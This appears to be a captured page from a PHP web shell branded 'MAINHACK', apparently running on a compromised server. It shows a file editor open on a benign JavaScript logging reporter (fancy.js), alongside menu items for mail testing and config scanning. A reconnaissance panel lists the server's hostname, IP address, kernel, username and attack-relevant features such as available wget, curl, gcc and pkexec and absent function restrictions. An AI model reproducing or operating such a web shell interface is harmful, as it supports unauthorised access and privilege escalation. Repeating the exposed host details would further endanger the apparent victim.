[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: fancy.js
import stringWidth from 'string-width' import figures from 'figures' import chalk from 'chalk' import BasicReporter from './basic' import { parseStack } from '../utils/error' import { chalkColor, chalkBgColor } from '../utils/chalk' import { TYPE_COLOR_MAP, LEVEL_COLOR_MAP } from '../utils/fancy' const DEFAULTS = { secondaryColor: 'grey', formatOptions: { date: true, colors: true, compact: false } } const TYPE_ICONS = { info: figures('ℹ'), success: figures('✔'), debug: figures('›'), trace: figures('›'), log: '' } export default class FancyReporter extends BasicReporter { constructor (options) { super(Object.assign({}, DEFAULTS, options)) } formatStack (stack) { const grey = chalkColor('grey') const cyan = chalkColor('cyan') return '\n' + parseStack(stack) .map(line => ' ' + line .replace(/^at +/, m => grey(m)) .replace(/\((.+)\)/, (_, m) => `(${cyan(m)})`) ) .join('\n') } formatType (logObj, isBadge) { const typeColor = TYPE_COLOR_MAP[logObj.type] || LEVEL_COLOR_MAP[logObj.level] || this.options.secondaryColor if (isBadge) { return chalkBgColor(typeColor).black(` ${logObj.type.toUpperCase()} `) } const _type = typeof TYPE_ICONS[logObj.type] === 'string' ? TYPE_ICONS[logObj.type] : (logObj.icon || logObj.type) return _type ? chalkColor(typeColor)(_type) : '' } formatLogObj (logObj, { width }) { const [message, ...additional] = this.formatArgs(logObj.args).split('\n') const isBadge = typeof logObj.badge !== 'undefined' ? Boolean(logObj.badge) : logObj.level < 2 const secondaryColor = chalkColor(this.options.secondaryColor) const date = this.formatDate(logObj.date) const coloredDate = date && secondaryColor(date) const type = this.formatType(logObj, isBadge) const tag = logObj.tag ? secondaryColor(logObj.tag) : '' const formattedMessage = message.replace(/`([^`]+)`/g, (_, m) => chalk.cyan(m)) let line const left = this.filterAndJoin([type, formattedMessage]) const right = this.filterAndJoin([tag, coloredDate]) const space = width - stringWidth(left) - stringWidth(right) - 2 if (space > 0 && width >= 80) { line = left + ' '.repeat(space) + right } else { line = left } line += additional.length ? '\n' + additional.join('\n') : '' return isBadge ? '\n' + line + '\n' : line } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002